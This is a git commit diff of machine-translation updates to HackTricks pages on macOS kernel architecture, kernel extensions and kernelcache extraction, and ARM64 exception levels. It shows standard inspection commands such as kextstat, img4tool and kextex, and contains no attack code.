Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-09-25 23:56:46 +00:00
parent 9329bde17b
commit 687154b184
5 changed files with 357 additions and 322 deletions

View file

@ -1,52 +1,52 @@
# Arquitectura de macOS Kernel & Extensiones del Sistema
# macOS Kernel & System Extensions
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
<summary>Support HackTricks</summary>
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Kernel XNU
## XNU Kernel
El **núcleo de macOS es XNU**, que significa "X is Not Unix". Este kernel está compuesto fundamentalmente por el **microkernel Mach** (a discutir más adelante), **y** elementos de la Distribución de Software de Berkeley (**BSD**). XNU también proporciona una plataforma para **controladores de kernel a través de un sistema llamado I/O Kit**. El kernel XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es libremente accesible**.
El **núcleo de macOS es XNU**, que significa "X no es Unix". Este núcleo está fundamentalmente compuesto por el **microkernel Mach** (que se discutirá más adelante) y elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de núcleo a través de un sistema llamado I/O Kit**. El núcleo XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es accesible de forma gratuita**.
Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede sentirse bastante **similar** a un sistema **FreeBSD** con una interfaz gráfica elegante y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el kernel XNU incorpora Mach, existen algunas diferencias significativas entre un sistema similar a Unix tradicional y macOS, y estas diferencias podrían causar problemas potenciales o proporcionar ventajas únicas.
Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede parecer bastante **similar** a un sistema **FreeBSD** con una GUI elegante y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el núcleo XNU incorpora Mach, hay algunas diferencias significativas entre un sistema tradicional similar a Unix y macOS, y estas diferencias pueden causar problemas potenciales o proporcionar ventajas únicas.
Versión de código abierto de XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach es un **microkernel** diseñado para ser **compatible con UNIX**. Uno de sus principios de diseño clave fue **minimizar** la cantidad de **código** que se ejecuta en el **espacio del kernel** y en su lugar permitir que muchas funciones típicas del kernel, como el sistema de archivos, la red y la E/S, se **ejecuten como tareas a nivel de usuario**.
Mach es un **microkernel** diseñado para ser **compatible con UNIX**. Uno de sus principios de diseño clave fue **minimizar** la cantidad de **código** que se ejecuta en el **espacio del núcleo** y, en su lugar, permitir que muchas funciones típicas del núcleo, como el sistema de archivos, la red y la E/S, se **ejecuten como tareas a nivel de usuario**.
En XNU, Mach es **responsable de muchas de las operaciones críticas de bajo nivel** que típicamente maneja un kernel, como la programación de procesadores, la multitarea y la gestión de memoria virtual.
En XNU, Mach es **responsable de muchas de las operaciones críticas de bajo nivel** que un núcleo maneja típicamente, como la programación de procesadores, la multitarea y la gestión de memoria virtual.
### BSD
El **kernel** XNU también **incorpora** una cantidad significativa de código derivado del proyecto **FreeBSD**. Este código **se ejecuta como parte del kernel junto con Mach**, en el mismo espacio de direcciones. Sin embargo, el código de FreeBSD dentro de XNU puede diferir sustancialmente del código original de FreeBSD porque se requirieron modificaciones para garantizar su compatibilidad con Mach. FreeBSD contribuye a muchas operaciones del kernel, incluyendo:
El **núcleo** XNU también **incorpora** una cantidad significativa de código derivado del proyecto **FreeBSD**. Este código **se ejecuta como parte del núcleo junto con Mach**, en el mismo espacio de direcciones. Sin embargo, el código de FreeBSD dentro de XNU puede diferir sustancialmente del código original de FreeBSD porque se requerían modificaciones para garantizar su compatibilidad con Mach. FreeBSD contribuye a muchas operaciones del núcleo, incluyendo:
* Gestión de procesos
* Manejo de señales
* Mecanismos básicos de seguridad, incluida la gestión de usuarios y grupos
* Mecanismos de seguridad básicos, incluyendo gestión de usuarios y grupos
* Infraestructura de llamadas al sistema
* Pila TCP/IP y sockets
* Firewall y filtrado de paquetes
* Cortafuegos y filtrado de paquetes
Comprender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad de ejecución fundamental, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código de BSD dentro del kernel utiliza funciones de Mach para crear una estructura de tarea y un hilo.
Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU al **asociar cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código BSD dentro del núcleo utiliza funciones Mach para crear una tarea y una estructura de hilo.
Además, **Mach y BSD mantienen modelos de seguridad diferentes**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de la **propiedad del proceso**. Las disparidades entre estos dos modelos a veces han dado lugar a vulnerabilidades de escalada de privilegios locales. Además de las llamadas al sistema típicas, también existen **trampas de Mach que permiten que los programas de espacio de usuario interactúen con el kernel**. Estos elementos diferentes juntos forman la arquitectura híbrida y multifacética del kernel de macOS.
Además, **Mach y BSD mantienen cada uno diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS.
### I/O Kit - Controladores
El I/O Kit es un marco de **controladores de dispositivos orientado a objetos** de código abierto en el kernel XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite agregar código modular al kernel sobre la marcha, admitiendo hardware diverso.
El I/O Kit es un marco de **controladores de dispositivos** de código abierto y orientado a objetos en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
{% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md)
@ -58,109 +58,40 @@ El I/O Kit es un marco de **controladores de dispositivos orientado a objetos**
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### Kernelcache
## macOS Kernel Extensions
El **kernelcache** es una versión **precompilada y preenlazada del kernel XNU**, junto con controladores de dispositivos esenciales y extensiones de kernel. Se almacena en un formato **comprimido** y se descomprime en la memoria durante el proceso de arranque. El kernelcache facilita un **tiempo de arranque más rápido** al tener una versión lista para ejecutarse del kernel y controladores cruciales disponibles, reduciendo el tiempo y los recursos que de otro modo se gastarían en cargar y vincular dinámicamente estos componentes en el momento del arranque.
macOS es **super restrictivo para cargar extensiones del núcleo** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es prácticamente imposible (a menos que se encuentre un bypass).
En iOS se encuentra en **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** en macOS se puede encontrar con **`find / -name kernelcache 2>/dev/null`** o **`mdfind kernelcache | grep kernelcache`**
Es posible ejecutar **`kextstat`** para verificar las extensiones de kernel cargadas.
#### IMG4
El formato de archivo IMG4 es un formato de contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de forma segura** componentes de firmware (como el **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluida la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, lo que permite al dispositivo confirmar la autenticidad e integridad del componente de firmware antes de ejecutarlo.
Generalmente está compuesto por los siguientes componentes:
* **Carga útil (IM4P)**:
* A menudo comprimido (LZFSE4, LZSS, ...)
* Opcionalmente cifrado
* **Manifiesto (IM4M)**:
* Contiene Firma
* Diccionario adicional de Clave/Valor
* **Información de Restauración (IM4R)**:
* También conocido como APNonce
* Evita la repetición de algunas actualizaciones
* OPCIONAL: Por lo general, esto no se encuentra
Descomprimir el Kernelcache:
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Símbolos del Kernelcache
A veces Apple lanza **kernelcache** con **símbolos**. Puedes descargar algunos firmwares con símbolos siguiendo los enlaces en [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW
Estos son **firmwares** de Apple que puedes descargar desde [**https://ipsw.me/**](https://ipsw.me/). Entre otros archivos, contendrá el **kernelcache**.\
Para **extraer** los archivos simplemente puedes **descomprimirlo**.
Después de extraer el firmware obtendrás un archivo como: **`kernelcache.release.iphone14`**. Está en formato **IMG4**, puedes extraer la información interesante con:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
Puedes verificar los símbolos extraídos del kernelcache con: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Con esto ahora podemos **extraer todas las extensiones** o la **que te interese:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Extensiones del Kernel de macOS
macOS es **muy restrictivo al cargar Extensiones del Kernel** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es virtualmente imposible (a menos que se encuentre un bypass).
En la siguiente página también puedes ver cómo recuperar el `.kext` que macOS carga dentro de su **kernelcache**:
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %}
### Extensiones del Sistema de macOS
### macOS System Extensions
En lugar de utilizar Extensiones del Kernel, macOS creó las Extensiones del Sistema, que ofrecen APIs a nivel de usuario para interactuar con el kernel. De esta manera, los desarrolladores pueden evitar el uso de extensiones del kernel.
En lugar de usar extensiones del núcleo, macOS creó las extensiones del sistema, que ofrecen APIs a nivel de usuario para interactuar con el núcleo. De esta manera, los desarrolladores pueden evitar usar extensiones del núcleo.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
{% endcontent-ref %}
## Referencias
## References
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
<summary>Support HackTricks</summary>
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Kernel Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Información Básica
Las extensiones del kernel (Kexts) son **paquetes** con una extensión **`.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidad adicional al sistema operativo principal.
Las extensiones del kernel (Kexts) son **paquetes** con una **extensión `.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidad adicional al sistema operativo principal.
### Requisitos
@ -30,12 +30,12 @@ Obviamente, esto es tan poderoso que es **complicado cargar una extensión del k
* La extensión del kernel debe estar **firmada con un certificado de firma de código del kernel**, que solo puede ser **otorgado por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
* La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
* Luego, el usuario **root** es quien puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
* Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el permiso `com.apple.rootless.storage.KernelExtensionManagement`).
* Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el otorgamiento `com.apple.rootless.storage.KernelExtensionManagement`).
* Finalmente, al intentar cargarla, el usuario [**recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarla.
### Proceso de carga
En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el permiso **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el otorgamiento **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **inicia** el proceso de **verificación** para cargar una extensión
* Hablará con **`kextd`** enviando usando un **servicio Mach**.
@ -47,22 +47,119 @@ En Catalina fue así: Es interesante notar que el proceso de **verificación** o
Si **`kextd`** no está disponible, **`kextutil`** puede realizar las mismas verificaciones.
### Enumeración (kexts cargados)
```bash
# Get loaded kernel extensions
kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
{% hint style="danger" %}
Aunque se espera que las extensiones del kernel estén en `/System/Library/Extensions/`, si vas a esta carpeta **no encontrarás ningún binario**. Esto se debe al **kernelcache** y para revertir un `.kext` necesitas encontrar una manera de obtenerlo.
{% endhint %}
El **kernelcache** es una **versión precompilada y preenlazada del kernel XNU**, junto con controladores de dispositivo esenciales y **extensiones del kernel**. Se almacena en un formato **comprimido** y se descomprime en la memoria durante el proceso de arranque. El kernelcache facilita un **tiempo de arranque más rápido** al tener una versión lista para ejecutar del kernel y controladores cruciales disponibles, reduciendo el tiempo y los recursos que de otro modo se gastarían en cargar y enlazar dinámicamente estos componentes en el momento del arranque.
### Kernelcache Local
En iOS se encuentra en **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** en macOS puedes encontrarlo con: **`find / -name "kernelcache" 2>/dev/null`** \
En mi caso en macOS lo encontré en:
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
El formato de archivo IMG4 es un formato contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de manera segura** componentes de firmware (como **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluyendo la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, permitiendo que el dispositivo confirme la autenticidad e integridad del componente de firmware antes de ejecutarlo.
Generalmente está compuesto por los siguientes componentes:
* **Carga útil (IM4P)**:
* A menudo comprimido (LZFSE4, LZSS, …)
* Opcionalmente cifrado
* **Manifiesto (IM4M)**:
* Contiene firma
* Diccionario adicional de clave/valor
* **Información de restauración (IM4R)**:
* También conocido como APNonce
* Previene la repetición de algunas actualizaciones
* OPCIONAL: Generalmente esto no se encuentra
Descomprimir el Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Descargar&#x20;
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
En [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) es posible encontrar todos los kits de depuración del kernel. Puedes descargarlo, montarlo, abrirlo con la herramienta [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), acceder a la carpeta **`.kext`** y **extraerlo**.
Verifícalo en busca de símbolos con:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
A veces Apple lanza **kernelcache** con **símbolos**. Puedes descargar algunos firmwares con símbolos siguiendo los enlaces en esas páginas. Los firmwares contendrán el **kernelcache** entre otros archivos.
Para **extraer** los archivos, comienza cambiando la extensión de `.ipsw` a `.zip` y **descomprímelo**.
Después de extraer el firmware, obtendrás un archivo como: **`kernelcache.release.iphone14`**. Está en formato **IMG4**, puedes extraer la información interesante con:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Inspeccionando kernelcache
Verifica si el kernelcache tiene símbolos con
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
Con esto ahora podemos **extraer todas las extensiones** o la **que te interese:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Referencias
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,14 +1,14 @@
# Introducción a ARM64v8
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -17,12 +17,12 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
## **Niveles de Excepción - EL (ARM64v8)**
En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van desde EL0 hasta EL3, cada uno sirviendo a un propósito diferente:
En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van desde EL0 hasta EL3, cada uno con un propósito diferente:
1. **EL0 - Modo Usuario**:
* Este es el nivel con menos privilegios y se utiliza para ejecutar código de aplicación regular.
* Este es el nivel menos privilegiado y se utiliza para ejecutar código de aplicación regular.
* Las aplicaciones que se ejecutan en EL0 están aisladas entre sí y del software del sistema, mejorando la seguridad y estabilidad.
2. **EL1 - Modo Kernel del Sistema Operativo**:
2. **EL1 - Modo Núcleo del Sistema Operativo**:
* La mayoría de los núcleos de sistemas operativos se ejecutan en este nivel.
* EL1 tiene más privilegios que EL0 y puede acceder a recursos del sistema, pero con algunas restricciones para garantizar la integridad del sistema.
3. **EL2 - Modo Hipervisor**:
@ -30,204 +30,205 @@ En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de E
* EL2 proporciona características para el aislamiento y control de los entornos virtualizados.
4. **EL3 - Modo Monitor Seguro**:
* Este es el nivel más privilegiado y se utiliza a menudo para el arranque seguro y entornos de ejecución confiables.
* EL3 puede gestionar y controlar los accesos entre estados seguros y no seguros (como el arranque seguro, SO confiable, etc.).
* EL3 puede gestionar y controlar accesos entre estados seguros y no seguros (como arranque seguro, OS confiable, etc.).
El uso de estos niveles permite gestionar de manera estructurada y segura diferentes aspectos del sistema, desde aplicaciones de usuario hasta el software del sistema más privilegiado. El enfoque de ARMv8 en los niveles de privilegio ayuda a aislar de manera efectiva diferentes componentes del sistema, mejorando así la seguridad y robustez del sistema.
El uso de estos niveles permite una forma estructurada y segura de gestionar diferentes aspectos del sistema, desde aplicaciones de usuario hasta el software del sistema más privilegiado. El enfoque de ARMv8 sobre los niveles de privilegio ayuda a aislar efectivamente diferentes componentes del sistema, mejorando así la seguridad y robustez del sistema.
## **Registros (ARM64v8)**
ARM64 tiene **31 registros de propósito general**, etiquetados como `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en modo de 32 bits utilizando los nombres w0 a w30.
